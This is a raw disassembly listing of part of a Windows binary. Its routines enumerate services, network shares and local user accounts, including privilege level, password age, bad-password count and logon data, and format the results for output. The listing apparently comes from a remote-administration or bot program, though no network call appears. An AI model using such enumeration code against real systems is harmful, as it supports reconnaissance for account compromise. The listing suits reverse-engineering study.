loc_418841: ; CODE XREF: sub_4187DD+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_41884B: ; CODE XREF: sub_4187DD+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_418855: ; CODE XREF: sub_4187DD+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_418884
dec ecx
jz short loc_41887D
dec ecx
jz short loc_418876
dec ecx
jnz loc_418908 ; default
; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_418876: ; CODE XREF: sub_4187DD+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_41887D: ; CODE XREF: sub_4187DD+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_418884: ; CODE XREF: sub_4187DD+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_41888B: ; CODE XREF: sub_4187DD+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_418892: ; CODE XREF: sub_4187DD+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_418908 ; default
; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
jz short loc_4188F5
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_418908 ; default
; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_418949[ecx]
jmp off_418921[ecx*4] ; switch jump
loc_4188B6: ; DATA XREF: ___:off_418921o
push offset aTheSpecifiedDa ; jumptable 004188AF case 7
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188BD: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceDepe ; jumptable 004188AF case 17
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188C4: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceDe_0 ; jumptable 004188AF case 10
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188CB: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceHasB ; jumptable 004188AF case 0
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188D2: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheSpecified_0 ; jumptable 004188AF case 2
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188D9: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceCoul ; jumptable 004188AF case 11
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188E0: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceHa_0 ; jumptable 004188AF case 14
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188E7: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheRequested_1 ; jumptable 004188AF case 3
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188EE: ; CODE XREF: sub_4187DD+D2j
; DATA XREF: ___:off_418921o
push offset aTheServiceHasN ; jumptable 004188AF case 4
jmp short loc_4188FA
; ---------------------------------------------------------------------------
loc_4188F5: ; CODE XREF: sub_4187DD+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_4188FA: ; CODE XREF: sub_4187DD+41j
; sub_4187DD+4Bj ...
push offset dword_4DAFE0
call sub_41B886
pop ecx
pop ecx
jmp short loc_41891B
; ---------------------------------------------------------------------------
loc_418908: ; CODE XREF: sub_4187DD+36j
; sub_4187DD+89j ...
push eax ; default
; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4DAFE0
call sub_41B886
add esp, 0Ch
loc_41891B: ; CODE XREF: sub_4187DD+129j
mov eax, offset dword_4DAFE0
retn
sub_4187DD endp
; ---------------------------------------------------------------------------
off_418921 dd offset loc_4188CB ; DATA XREF: sub_4187DD+D2r
dd offset loc_4188D2 ; jump table for switch statement
dd offset loc_4188E7
dd offset loc_4188EE
dd offset loc_4188B6
dd offset loc_4188C4
dd offset loc_4188D9
dd offset loc_4188E0
dd offset loc_4188BD
dd offset loc_418908
byte_418949 db 0, 9, 1, 2 ; DATA XREF: sub_4187DD+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41895B proc near ; CODE XREF: sub_401ACD+45D3p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_4CB618
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_418993: ; CODE XREF: sub_41895B+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_4CB5E4
test eax, eax
jnz short loc_4189CD
nop
call near ptr 2830047h
cmp eax, 0EAh
jnz loc_418A81
loc_4189CD: ; CODE XREF: sub_41895B+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_418A78
lea esi, [ebp+var_188]
loc_4189DE: ; CODE XREF: sub_41895B+117j
mov eax, [esi+8]
dec eax
jz short loc_418A27
dec eax
jz short loc_418A20
dec eax
jz short loc_418A19
dec eax
jz short loc_418A12
dec eax
jz short loc_418A0B
dec eax
jz short loc_418A04
dec eax
jz short loc_4189FD
push offset aUnknown_0 ; " Unknown"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_4189FD: ; CODE XREF: sub_41895B+99j
push offset aPaused_0 ; " Paused"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A04: ; CODE XREF: sub_41895B+96j
push offset aPausing ; " Pausing"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A0B: ; CODE XREF: sub_41895B+93j
push offset aContinuing ; " Continuing"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A12: ; CODE XREF: sub_41895B+90j
push offset aRunning ; " Running"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A19: ; CODE XREF: sub_41895B+8Dj
push offset aStoping ; " Stoping"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A20: ; CODE XREF: sub_41895B+8Aj
push offset aStarting ; " Starting"
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A27: ; CODE XREF: sub_41895B+87j
push offset aStopped ; " Stopped"
loc_418A2C: ; CODE XREF: sub_41895B+A0j
; sub_41895B+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_4189DE
loc_418A78: ; CODE XREF: sub_41895B+77j
cmp [ebp+var_8], ebx
jnz loc_418993
loc_418A81: ; CODE XREF: sub_41895B+6Cj
push [ebp+var_C]
call dword_4CB51C
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_41895B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418A98 proc near ; CODE XREF: sub_401ACD:loc_406166p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_418B32
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_418AC1
dec eax
jnz short loc_418B12
push edi
push 0
call sub_418C6B
pop ecx
pop ecx
jmp short loc_418B0E
; ---------------------------------------------------------------------------
loc_418AC1: ; CODE XREF: sub_418A98+18j
cmp [ebp+arg_8], 0
jnz short loc_418B00
push 24h
push edi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_418B00
push 57h
pop eax
loc_418AD8: ; CODE XREF: sub_418A98+78j
push eax
call sub_41945F
pop ecx
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DB29C
push off_439060[eax*4]
push offset unk_43970C
push esi
call sub_41B886
add esp, 14h
jmp short loc_418B52
; ---------------------------------------------------------------------------
loc_418B00: ; CODE XREF: sub_418A98+2Dj
; sub_418A98+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_418BBF
add esp, 0Ch
loc_418B0E: ; CODE XREF: sub_418A98+27j
test eax, eax
jnz short loc_418AD8
loc_418B12: ; CODE XREF: sub_418A98+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DB29C
push off_439064[eax*4]
push offset dword_4396F0
push esi
call sub_41B886
add esp, 10h
jmp short loc_418B52
; ---------------------------------------------------------------------------
loc_418B32: ; CODE XREF: sub_418A98+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DB29C
lea eax, [eax+eax*2]
push off_439060[eax*4]
push offset unk_4396CC
push esi
call sub_41B886
add esp, 0Ch
loc_418B52: ; CODE XREF: sub_418A98+66j
; sub_418A98+98j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_418A98 endp
; =============== S U B R O U T I N E =======================================
sub_418B58 proc near ; CODE XREF: sub_419E79+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_418B65
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_418B65: ; CODE XREF: sub_418B58+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_42717C
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi
test byte_4DB49C, 1
mov ebp, eax
jnz short loc_418BA2
or byte_4DB49C, 1
lea eax, [ebp+1]
push eax
call sub_41CFC5
pop ecx
mov dword_4DB23C, eax
loc_418BA2: ; CODE XREF: sub_418B58+32j
push esi
push esi
push ebp
push dword_4DB23C
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi
mov eax, dword_4DB23C
pop edi
pop ebp
pop ebx
pop esi
retn
sub_418B58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418BBF proc near ; CODE XREF: sub_418A98+6Ep
; sub_41A19D+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_418C2A
push [ebp+arg_4]
mov edi, eax
call sub_418C2A
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_41BFB0
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_418C2A
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_4CB518
pop edi
leave
retn
sub_418BBF endp
; =============== S U B R O U T I N E =======================================
sub_418C2A proc near ; CODE XREF: sub_418BBF+Ap
; sub_418BBF+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_418C37
pop ebp
retn
; ---------------------------------------------------------------------------
loc_418C37: ; CODE XREF: sub_418C2A+9j
push ebx
push esi
mov esi, dword_427180
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_41CFC5
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_418C2A endp
; =============== S U B R O U T I N E =======================================
sub_418C6B proc near ; CODE XREF: sub_418A98+20p
; sub_419E79+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_418C2A
push [esp+8+arg_4]
mov esi, eax
call sub_418C2A
pop ecx
pop ecx
push 0
push eax
push esi
call dword_4CB4F0
pop esi
retn
sub_418C6B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C8E proc near ; CODE XREF: sub_401ACD+46B0p
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_418C2A
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 18h
loc_418CC7: ; CODE XREF: sub_418C8E+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_4CB568
mov ebx, eax
cmp ebx, esi
jz short loc_418D2A
cmp ebx, 0EAh
jz short loc_418D2A
push ebx
push ebx
call sub_41945F
pop ecx
push eax
lea eax, [ebp+var_210]
push offset unk_439758
push eax
call sub_41B886
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 24h
jmp short loc_418D97
; ---------------------------------------------------------------------------
loc_418D2A: ; CODE XREF: sub_418C8E+5Dj
; sub_418C8E+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_418D8E
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_418D38: ; CODE XREF: sub_418C8E+FCj
push dword ptr [esi+10h]
call dword_4CB50C
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_418D4F
mov eax, offset aNo ; "No"
loc_418D4F: ; CODE XREF: sub_418C8E+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_418D38
xor esi, esi
loc_418D8E: ; CODE XREF: sub_418C8E+A2j
push [ebp+var_4]
call dword_4CB6B4
loc_418D97: ; CODE XREF: sub_418C8E+9Aj
cmp ebx, 0EAh
jz loc_418CC7
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_418C8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418DAF proc near ; CODE XREF: sub_401ACD:loc_4061EEp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_418E54
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_418DF1
dec eax
jz short loc_418DE6
dec eax
jnz short loc_418E0C
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_418EF6
add esp, 14h
jmp short loc_418E08
; ---------------------------------------------------------------------------
loc_418DE6: ; CODE XREF: sub_418DAF+1Dj
push ebx
push edi
call sub_418ED5
pop ecx
pop ecx
jmp short loc_418E08
; ---------------------------------------------------------------------------
loc_418DF1: ; CODE XREF: sub_418DAF+1Aj
cmp [ebp+arg_8], edi
jz short loc_418E05
push [ebp+arg_8]
push ebx
push edi
call sub_418E7B
add esp, 0Ch
jmp short loc_418E08
; ---------------------------------------------------------------------------
loc_418E05: ; CODE XREF: sub_418DAF+45j
push 57h
pop eax
loc_418E08: ; CODE XREF: sub_418DAF+35j
; sub_418DAF+40j ...
cmp eax, edi
jnz short loc_418E2C
loc_418E0C: ; CODE XREF: sub_418DAF+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DB4A0
push off_439064[eax*4]
push offset unk_439810
push esi
call sub_41B886
add esp, 10h
jmp short loc_418E74
; ---------------------------------------------------------------------------
loc_418E2C: ; CODE XREF: sub_418DAF+5Bj
push eax
call sub_41945F
pop ecx
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DB4A0
push off_439060[eax*4]
push offset unk_4397E0
push esi
call sub_41B886
add esp, 14h
jmp short loc_418E74
; ---------------------------------------------------------------------------
loc_418E54: ; CODE XREF: sub_418DAF+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DB4A0
lea eax, [eax+eax*2]
push off_439060[eax*4]
push offset unk_4397B8
push esi
call sub_41B886
add esp, 0Ch
loc_418E74: ; CODE XREF: sub_418DAF+7Bj
; sub_418DAF+A3j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_418DAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418E7B proc near ; CODE XREF: sub_418DAF+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_418C2A
push [ebp+arg_4]
mov edi, eax
call sub_418C2A
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_418C2A
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_4CB4FC
pop edi
leave
retn
sub_418E7B endp
; =============== S U B R O U T I N E =======================================
sub_418ED5 proc near ; CODE XREF: sub_418DAF+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_418C2A
push [esp+8+arg_4]
mov esi, eax
call sub_418C2A
pop ecx
pop ecx
push eax
push esi
call dword_4CB4EC
pop esi
retn
sub_418ED5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418EF6 proc near ; CODE XREF: sub_418DAF+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_418C2A
push [ebp+arg_4]
mov esi, eax
call sub_418C2A
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_4CB67C
test eax, eax
mov [ebp+arg_0], eax
jnz loc_41929E
mov eax, [ebp+var_4]
test eax, eax
jz loc_4192D9
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_41B886
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
mov eax, [eax+10h]
sub eax, 0
jz short loc_419015
dec eax
jz short loc_41900E
dec eax
jz short loc_419007
mov eax, offset aUnknown ; "Unknown"
jmp short loc_41901A
; ---------------------------------------------------------------------------
loc_419007: ; CODE XREF: sub_418EF6+108j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_41901A
; ---------------------------------------------------------------------------
loc_41900E: ; CODE XREF: sub_418EF6+105j
mov eax, offset aUser_1 ; "User"
jmp short loc_41901A
; ---------------------------------------------------------------------------
loc_419015: ; CODE XREF: sub_418EF6+102j
mov eax, offset aGuest ; "Guest"
loc_41901A: ; CODE XREF: sub_418EF6+10Fj
; sub_418EF6+116j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_41B886
push 1
push esi
lea eax, [ebp+var_204]
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A72
add esp, 20h
pop edi
pop ebx
jmp short loc_4192CA
; ---------------------------------------------------------------------------
loc_41929E: ; CODE XREF: sub_418EF6+35j
push eax
lea eax, [ebp+var_204]
push offset unk_439830
push eax
call sub_41B886
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_409A72
add esp, 20h
loc_4192CA: ; CODE XREF: sub_418EF6+3A6j
cmp [ebp+var_4], 0
jz short loc_4192D9
push [ebp+var_4]
call dword_4CB6B4
loc_4192D9: ; CODE XREF: sub_418EF6+40j
; sub_418EF6+3D8j
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_418EF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4192DF proc near ; CODE XREF: sub_401ACD+473Bp
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_418C2A
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 18h
loc_41931E: ; CODE XREF: sub_4192DF+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_4CB584
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_41937F
cmp eax, 0EAh
jz short loc_41937F
push eax
push eax
call sub_41945F
pop ecx
push eax
lea eax, [ebp+var_218]
push offset unk_439A20
push eax
call sub_41B886
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 24h
jmp short loc_4193FA
; ---------------------------------------------------------------------------
loc_41937F: ; CODE XREF: sub_4192DF+62j
; sub_4192DF+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_41940D
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_4193FA
loc_419391: ; CODE XREF: sub_4192DF+EDj
cmp edi, esi
jz short loc_4193D0
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_4 ; " %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_419391
jmp short loc_4193FA
; ---------------------------------------------------------------------------
